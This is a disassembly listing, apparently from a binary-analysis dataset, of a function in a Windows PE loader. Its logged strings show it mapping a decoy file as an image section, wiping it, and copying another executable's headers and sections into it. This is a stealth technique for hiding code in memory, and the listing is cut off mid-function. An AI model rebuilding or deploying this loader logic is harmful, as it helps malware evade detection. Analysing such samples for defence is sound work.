Function at 0x14000bbf4
Capabilities:
Enumerate pe sections
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x848
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x440], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0x868]
add rax, 0x528
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x108]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
xor ecx, ecx
mov rax, qword [rsp + 0x860]
call qword [rax + 0x40]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0x490]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
mov rcx, qword [rsp + 0x1c0]
movzx ecx, word [rcx + 4]
cmp eax, ecx
je 0x14000bdb4
mov edx, 0x5c
lea rcx, [0x14003e648]
call fcn.140013d88
test rax, rax
je 0x14000bd1d
mov edx, 0x5c
lea rcx, [0x14003e6e8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1b8], rax
jmp 0x14000bd2c
lea rax, [0x14003e7a8]
mov qword [rsp + 0x1b8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003c684]
mov qword [rsp + 0x20], rcx
mov r9d, 0x6d
mov r8, qword [rsp + 0x1b8]
lea rdx, [0x14003e5e8]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
mov dword [rsp + 0x184], eax
mov rcx, qword [rsp + 0x1c0]
movzx ecx, word [rcx + 4]
mov dword [rsp + 0x1a4], ecx
mov ecx, 2
call fcn.1400154c4
mov ecx, dword [rsp + 0x184]
mov r9d, ecx
mov ecx, dword [rsp + 0x1a4]
mov r8d, ecx
lea rdx, str.Host_process__08lx_and_file__08lx_are_not_compatible...cannot_load.
mov rcx, rax
call fcn.140011a10
jmp 0x14001029e
mov edx, 0x5c
lea rcx, [0x14003e848]
call fcn.140013d88
test rax, rax
je 0x14000bde8
mov edx, 0x5c
lea rcx, [0x14003e8e8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1c8], rax
jmp 0x14000bdf7
lea rax, [0x14003e9a8]
mov qword [rsp + 0x1c8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003c7a4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x72
mov r8, qword [rsp + 0x1c8]
lea rdx, [0x14003e688]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x68]
mov r9d, dword [rcx + 0x50]
mov rcx, qword [rsp + 0x68]
mov r8d, dword [rcx + 0x50]
lea rdx, str.Creating_section_of_size__i__0x_x__bytes_for_file
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov qword [rsp + 0x498], rax
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x68]
mov eax, dword [rcx + rax + 0x8c]
mov dword [rsp + 0x11c], eax
cmp dword [rsp + 0x11c], 0
jne 0x14000be98
mov dword [rsp + 0x118], 0
jmp 0x14000bea3
mov dword [rsp + 0x118], 1
mov eax, dword [rsp + 0x118]
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 0
jne 0x14000bf65
mov edx, 0x5c
lea rcx, [0x14003ea48]
call fcn.140013d88
test rax, rax
je 0x14000bef3
mov edx, 0x5c
lea rcx, [0x14003eae8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1d0], rax
jmp 0x14000bf02
lea rax, [0x14003eb88]
mov qword [rsp + 0x1d0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003c884]
mov qword [rsp + 0x20], rcx
mov r9d, 0x7b
mov r8, qword [rsp + 0x1d0]
lea rdx, [0x14003e7e8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x68]
mov r8, qword [rcx + 0x30]
lea rdx, str.No_relocation_information_present__setting_the_base_to:_0x_p
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x58], rax
mov edx, 0x5c
lea rcx, [0x14003ecd8]
call fcn.140013d88
test rax, rax
je 0x14000bf99
mov edx, 0x5c
lea rcx, [0x14003ed78]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1d8], rax
jmp 0x14000bfa8
lea rax, [0x14003ee18]
mov qword [rsp + 0x1d8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003c9c4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x7f
mov r8, qword [rsp + 0x1d8]
lea rdx, [0x14003e888]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Creating_section_to_store_PE.
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x14003eec8]
call fcn.140013d88
test rax, rax
je 0x14000c028
mov edx, 0x5c
lea rcx, [0x14003ef68]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1e0], rax
jmp 0x14000c037
lea rax, [0x14003f008]
mov qword [rsp + 0x1e0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003cae4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x80
mov r8, qword [rsp + 0x1e0]
lea rdx, [0x14003e948]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x68]
mov r8d, dword [rcx + 0x50]
lea rdx, str.Requesting_section_size:__d
mov rcx, rax
call fcn.140011a10
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x860]
movsx eax, byte [rcx + rax + 0x625]
test eax, eax
jne 0x14000c195
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rsp + 0x498]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rsp + 0x150]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x210]
mov dword [rsp + 0x60], eax
mov edx, 0x5c
lea rcx, [0x14003f118]
call fcn.140013d88
test rax, rax
je 0x14000c124
mov edx, 0x5c
lea rcx, [0x14003f1c8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1e8], rax
jmp 0x14000c133
lea rax, [0x14003f268]
mov qword [rsp + 0x1e8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003cba4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x83
mov r8, qword [rsp + 0x1e8]
lea rdx, [0x14003e9e8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x60]
lea rdx, [0x14003f308]
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x60], 0
je 0x14000c190
jmp 0x14001029e
jmp 0x14000c68a
mov edx, 0x5c
lea rcx, [0x14003f378]
call fcn.140013d88
test rax, rax
je 0x14000c1c9
mov edx, 0x5c
lea rcx, [0x14003f438]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1f0], rax
jmp 0x14000c1d8
lea rax, [0x14003f4d8]
mov qword [rsp + 0x1f0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003cce4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x86
mov r8, qword [rsp + 0x1f0]
lea rdx, [0x14003ea88]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
add rax, 0x625
mov qword [rsp + 0x4a0], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x4a0]
mov r8, rcx
lea rdx, str.Decoy_file_path:__s
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
add rax, 0x625
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [rsp + 0x860]
call qword [rax + 0x90]
mov qword [rsp + 0x110], rax
mov edx, 0x5c
lea rcx, [0x14003f578]
call fcn.140013d88
test rax, rax
je 0x14000c2c7
mov edx, 0x5c
lea rcx, [0x14003f628]
call fcn.140013d88
inc rax
mov qword [rsp + 0x1f8], rax
jmp 0x14000c2d6
lea rax, [0x14003f6d8]
mov qword [rsp + 0x1f8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003cdb4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x8f
mov r8, qword [rsp + 0x1f8]
lea rdx, [0x14003ebc8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x110]
lea rdx, str.File_handle:__p
mov rcx, rax
call fcn.140011a10
cmp qword [rsp + 0x110], 0xffffffffffffffff
je 0x14000c344
cmp qword [rsp + 0x110], 0
jne 0x14000c3f7
mov edx, 0x5c
lea rcx, [0x14003f778]
call fcn.140013d88
test rax, rax
je 0x14000c378
mov edx, 0x5c
lea rcx, [0x14003f828]
call fcn.140013d88
inc rax
mov qword [rsp + 0x200], rax
jmp 0x14000c387
lea rax, [0x14003f8b8]
mov qword [rsp + 0x200], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003ced4]
mov qword [rsp + 0x20], rcx
mov r9d, 0x92
mov r8, qword [rsp + 0x200]
lea rdx, [0x14003ec78]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
call qword [rax + 0xe8]
mov dword [rsp + 0x180], eax
mov ecx, 2
call fcn.1400154c4
mov ecx, dword [rsp + 0x180]
mov r8d, ecx
lea rdx, str.Error_opening_decoy_file:__d
mov rcx, rax
call fcn.140011a10
jmp 0x14001029e
lea rax, [rsp + 0x208]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x208]
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x98]
test eax, eax
je 0x14000c4df
mov rax, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x208]
cmp dword [rax + 0x50], ecx
jbe 0x14000c4da
mov edx, 0x5c
lea rcx, [0x14003f9d8]
call fcn.140013d88
test rax, rax
je 0x14000c47a
mov edx, 0x5c
lea rcx, [0x14003fa68]
call fcn.140013d88
inc rax
mov qword [rsp + 0x210], rax
jmp 0x14000c489
lea rax, [0x14003fb08]
mov qword [rsp + 0x210], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d054]
mov qword [rsp + 0x20], rcx
mov r9d, 0x9c
mov r8, qword [rsp + 0x210]
lea rdx, [0x14003ed18]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Decoy_file_is_too_small__It_cannot_be_used.
mov rcx, rax
call fcn.140011a10
jmp 0x14001029e
jmp 0x14000c592
mov edx, 0x5c
lea rcx, [0x14003fc28]
call fcn.140013d88
test rax, rax
je 0x14000c513
mov edx, 0x5c
lea rcx, [0x14003fcc8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x218], rax
jmp 0x14000c522
lea rax, [0x14003fd98]
mov qword [rsp + 0x218], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d194]
mov qword [rsp + 0x20], rcx
mov r9d, 0xaa
mov r8, qword [rsp + 0x218]
lea rdx, [0x14003edb8]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
call qword [rax + 0xe8]
mov dword [rsp + 0x17c], eax
mov ecx, 2
call fcn.1400154c4
mov ecx, dword [rsp + 0x17c]
mov r8d, ecx
lea rdx, str.Error_getting_size_of_decoy_file:__d
mov rcx, rax
call fcn.140011a10
jmp 0x14001029e
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rsp + 0x150]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x210]
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x860]
call qword [rax + pe_nt_image_headers64]
mov edx, 0x5c
lea rcx, [0x14003fe28]
call fcn.140013d88
test rax, rax
je 0x14000c61e
mov edx, 0x5c
lea rcx, [0x14003fec8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x220], rax
jmp 0x14000c62d
lea rax, [0x14003ff68]
mov qword [rsp + 0x220], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d274]
mov qword [rsp + 0x20], rcx
mov r9d, 0xb2
mov r8, qword [rsp + 0x220]
lea rdx, [0x14003ef08]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x60]
lea rdx, [0x14003fff8]
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x60], 0
je 0x14000c68a
jmp 0x14001029e
mov edx, 0x5c
lea rcx, [0x140040068]
call fcn.140013d88
test rax, rax
je 0x14000c6be
mov edx, 0x5c
lea rcx, [0x1400400f8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x228], rax
jmp 0x14000c6cd
lea rax, [0x140040198]
mov qword [rsp + 0x228], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d334]
mov qword [rsp + 0x20], rcx
mov r9d, 0xb6
mov r8, qword [rsp + 0x228]
lea rdx, [0x14003efa8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Mapping_local_view_of_section_to_store_PE.
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x860]
call qword [rax + 0xb0]
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, qword [rsp + 0x150]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x218]
mov dword [rsp + 0x60], eax
mov edx, 0x5c
lea rcx, [0x140040258]
call fcn.140013d88
test rax, rax
je 0x14000c7b7
mov edx, 0x5c
lea rcx, [0x1400402f8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x230], rax
jmp 0x14000c7c6
lea rax, [0x1400403a8]
mov qword [rsp + 0x230], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d464]
mov qword [rsp + 0x20], rcx
mov r9d, 0xb8
mov r8, qword [rsp + 0x230]
lea rdx, [0x14003f048]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0xc0]
lea rdx, [0x14003f158]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x238]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov edx, 0x5c
lea rcx, [0x140040438]
call fcn.140013d88
test rax, rax
je 0x14000c86a
mov edx, 0x5c
lea rcx, [0x1400404d8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x240], rax
jmp 0x14000c879
lea rax, [0x1400405a8]
mov qword [rsp + 0x240], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d534]
mov qword [rsp + 0x20], rcx
mov r9d, 0xbc
mov r8, qword [rsp + 0x240]
lea rdx, [0x14003f168]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8d, dword [rsp + 0x60]
lea rdx, [0x140040648]
mov rcx, rax
call fcn.140011a10
cmp dword [rsp + 0x60], 0
je 0x14000c8e0
cmp dword [rsp + 0x60], 0x40000003
je 0x14000c8e0
jmp 0x14001029e
mov edx, 0x5c
lea rcx, [0x1400406b8]
call fcn.140013d88
test rax, rax
je 0x14000c914
mov edx, 0x5c
lea rcx, [0x140040748]
call fcn.140013d88
inc rax
mov qword [rsp + 0x248], rax
jmp 0x14000c923
lea rax, [0x1400407e8]
mov qword [rsp + 0x248], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d604]
mov qword [rsp + 0x20], rcx
mov r9d, 0xbf
mov r8, qword [rsp + 0x248]
lea rdx, [0x14003f208]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x58]
lea rdx, [0x14003f2a8]
mov rcx, rax
call fcn.140011a10
cmp qword [rsp + 0x58], 0
jne 0x14000c981
jmp 0x14001029e
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x860]
movsx eax, byte [rcx + rax + 0x625]
test eax, eax
je 0x14000cb40
lea r9, [rsp + 0xa4]
mov r8d, 4
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x860]
call qword [rax + 0x60]
mov edx, 0x5c
lea rcx, [0x1400408b8]
call fcn.140013d88
test rax, rax
je 0x14000c9fc
mov edx, 0x5c
lea rcx, [0x140040948]
call fcn.140013d88
inc rax
mov qword [rsp + 0x250], rax
jmp 0x14000ca0b
lea rax, [0x1400409e8]
mov qword [rsp + 0x250], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d664]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc8
mov r8, qword [rsp + 0x250]
lea rdx, [0x14003f318]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Making_copy_of_decoy_modules_headers_for_later_use.
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
mov rax, qword [rsp + 0x860]
call qword [rax + 0x48]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x68]
mov r8d, dword [rax + 0x54]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x148]
call fcn.1400130fc
mov edx, 0x5c
lea rcx, [0x140040a98]
call fcn.140013d88
test rax, rax
je 0x14000cad1
mov edx, 0x5c
lea rcx, [0x140040b28]
call fcn.140013d88
inc rax
mov qword [rsp + 0x258], rax
jmp 0x14000cae0
lea rax, [0x140040bc8]
mov qword [rsp + 0x258], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d764]
mov qword [rsp + 0x20], rcx
mov r9d, 0xcf
mov r8, qword [rsp + 0x258]
lea rdx, [0x14003f478]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Wiping_section_view_before_mapping_to_it.
mov rcx, rax
call fcn.140011a10
mov r8d, dword [rsp + 0xc0]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.140013170
mov edx, 0x5c
lea rcx, [0x140040ca8]
call fcn.140013d88
test rax, rax
je 0x14000cb74
mov edx, 0x5c
lea rcx, [0x140040d38]
call fcn.140013d88
inc rax
mov qword [rsp + 0x260], rax
jmp 0x14000cb83
lea rax, [0x140040dd8]
mov qword [rsp + 0x260], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d7c4]
mov qword [rsp + 0x20], rcx
mov r9d, 0xd3
mov r8, qword [rsp + 0x260]
lea rdx, [0x14003f518]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Copying_Headers
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140040e68]
call fcn.140013d88
test rax, rax
je 0x14000cc03
mov edx, 0x5c
lea rcx, [0x140040f08]
call fcn.140013d88
inc rax
mov qword [rsp + 0x268], rax
jmp 0x14000cc12
lea rax, [0x140040f48]
mov qword [rsp + 0x268], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003d904]
mov qword [rsp + 0x20], rcx
mov r9d, 0xd4
mov r8, qword [rsp + 0x268]
lea rdx, [0x14003f5c8]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov dword [rsp + 0x1a0], eax
mov ecx, 2
call fcn.1400154c4
mov ecx, dword [rsp + 0x1a0]
mov r8d, ecx
lea rdx, str.nt__FileHeader.SizeOfOptionalHeader:__d
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140040f88]
call fcn.140013d88
test rax, rax
je 0x14000ccac
mov edx, 0x5c
lea rcx, [0x140040fc8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x270], rax
jmp 0x14000ccbb
lea rax, [0x140041008]
mov qword [rsp + 0x270], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003f0c4]
mov qword [rsp + 0x20], rcx
mov r9d, 0xd5
mov r8, qword [rsp + 0x270]
lea rdx, [0x14003f718]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x68]
mov r8d, dword [rcx + 0x54]
lea rdx, str.nt__OptionalHeader.SizeOfHeaders:__d
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041048]
call fcn.140013d88
test rax, rax
je 0x14000cd44
mov edx, 0x5c
lea rcx, [0x140041088]
call fcn.140013d88
inc rax
mov qword [rsp + 0x278], rax
jmp 0x14000cd53
lea rax, [0x1400410c8]
mov qword [rsp + 0x278], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003f868]
mov qword [rsp + 0x20], rcx
mov r9d, 0xd7
mov r8, qword [rsp + 0x278]
lea rdx, [0x14003f8f8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Copying_first_section
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041108]
call fcn.140013d88
test rax, rax
je 0x14000cdd3
mov edx, 0x5c
lea rcx, [0x140041148]
call fcn.140013d88
inc rax
mov qword [rsp + 0x280], rax
jmp 0x14000cde2
lea rax, [0x140041188]
mov qword [rsp + 0x280], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003fa18]
mov qword [rsp + 0x20], rcx
mov r9d, 0xd8
mov r8, qword [rsp + 0x280]
lea rdx, [0x14003faa8]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x68]
mov r8d, dword [rcx + 0x54]
lea rdx, str.Copying__d_bytes
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x68]
mov r8d, dword [rax + 0x54]
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x58]
call fcn.1400130fc
mov edx, 0x5c
lea rcx, [0x1400411c8]
call fcn.140013d88
test rax, rax
je 0x14000ce86
mov edx, 0x5c
lea rcx, [0x140041208]
call fcn.140013d88
inc rax
mov qword [rsp + 0x288], rax
jmp 0x14000ce95
lea rax, [0x140041248]
mov qword [rsp + 0x288], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003fbd4]
mov qword [rsp + 0x20], rcx
mov r9d, 0xdb
mov r8, qword [rsp + 0x288]
lea rdx, [0x14003fc68]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x4a8], rax
mov rcx, qword [rsp + 0x58]
movzx ecx, word [rcx]
mov dword [rsp + 0x19c], ecx
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x4a8]
mov r9, rcx
mov ecx, dword [rsp + 0x19c]
mov r8d, ecx
lea rdx, str.DOS_Signature__Magic_:__08lx___p
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041288]
call fcn.140013d88
test rax, rax
je 0x14000cf46
mov edx, 0x5c
lea rcx, [0x1400412c8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x290], rax
jmp 0x14000cf55
lea rax, [0x140041308]
mov qword [rsp + 0x290], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003fdd8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xdc
mov r8, qword [rsp + 0x290]
lea rdx, [0x14003fe68]
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x4b0], rax
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x4b0]
mov r9, rcx
mov rcx, qword [rsp + 0x78]
mov r8d, dword [rcx]
lea rdx, str.NT_Signature:__lx___p
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041348]
call fcn.140013d88
test rax, rax
je 0x14000cff5
mov edx, 0x5c
lea rcx, [0x140041388]
call fcn.140013d88
inc rax
mov qword [rsp + 0x298], rax
jmp 0x14000d004
lea rax, [0x1400413c8]
mov qword [rsp + 0x298], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x14003ffa8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xde
mov r8, qword [rsp + 0x298]
lea rdx, [0x140040008]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Updating_ImageBase_to_final_base_address
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
mov qword [rax + 0x30], rcx
mov edx, 0x5c
lea rcx, [0x140041438]
call fcn.140013d88
test rax, rax
je 0x14000d092
mov edx, 0x5c
lea rcx, [0x140041478]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2a0], rax
jmp 0x14000d0a1
lea rax, [0x1400414b8]
mov qword [rsp + 0x2a0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400400a8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xe0
mov r8, qword [rsp + 0x2a0]
lea rdx, [0x140040138]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov rcx, qword [rsp + 0x78]
mov r8, qword [rcx + 0x30]
lea rdx, str.Updated_ImageBase:__lluX
mov rcx, rax
call fcn.140011a10
mov edx, 0x5c
lea rcx, [0x140041518]
call fcn.140013d88
test rax, rax
je 0x14000d12a
mov edx, 0x5c
lea rcx, [0x140041558]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2a8], rax
jmp 0x14000d139
lea rax, [0x140041598]
mov qword [rsp + 0x2a8], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400401d8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xe2
mov r8, qword [rsp + 0x2a8]
lea rdx, [0x140040298]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
mov r8, qword [rsp + 0x58]
lea rdx, str.Copying_each_section_to_memory:__p
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x50], 0
jmp 0x14000d1b9
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jae 0x14000d69d
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xa8]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b8], rax
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xa8]
mov eax, dword [rcx + rax + 0x14]
mov rcx, qword [rsp + 0x108]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b8], rax
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xa8]
cmp dword [rcx + rax + 0x10], 0
jne 0x14000d2c7
mov edx, 0x5c
lea rcx, [0x1400415d8]
call fcn.140013d88
test rax, rax
je 0x14000d26c
mov edx, 0x5c
lea rcx, [0x140041618]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2b0], rax
jmp 0x14000d27b
lea rax, [0x140041658]
mov qword [rsp + 0x2b0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x1400403e8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xea
mov r8, qword [rsp + 0x2b0]
lea rdx, [0x140040478]
mov rcx, rax
call fcn.140011a10
mov ecx, 2
call fcn.1400154c4
lea rdx, str.Section_is_empty_of_data__but_may_contain_uninitialized_data.
mov rcx, rax
call fcn.140011a10
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xa8]
mov r8d, dword [rcx + rax + 0x10]
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rsp + 0x2b8]
call fcn.1400130fc
mov rax, qword [rsp + 0x2b8]
movzx eax, byte [rax]
mov ecx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0xa8]
mov dword [rdx + rcx + 8], eax
mov edx, 0x5c
lea rcx, [0x140041698]
call fcn.140013d88
test rax, rax
je 0x14000d344
mov edx, 0x5c
lea rcx, [0x1400416d8]
call fcn.140013d88
inc rax
mov qword [rsp + 0x2c0], rax
jmp 0x14000d353
lea rax, [0x140041718]
mov qword [rsp + 0x2c0], rax
mov ecx, 2
call fcn.1400154c4
lea rcx, [0x140040558]
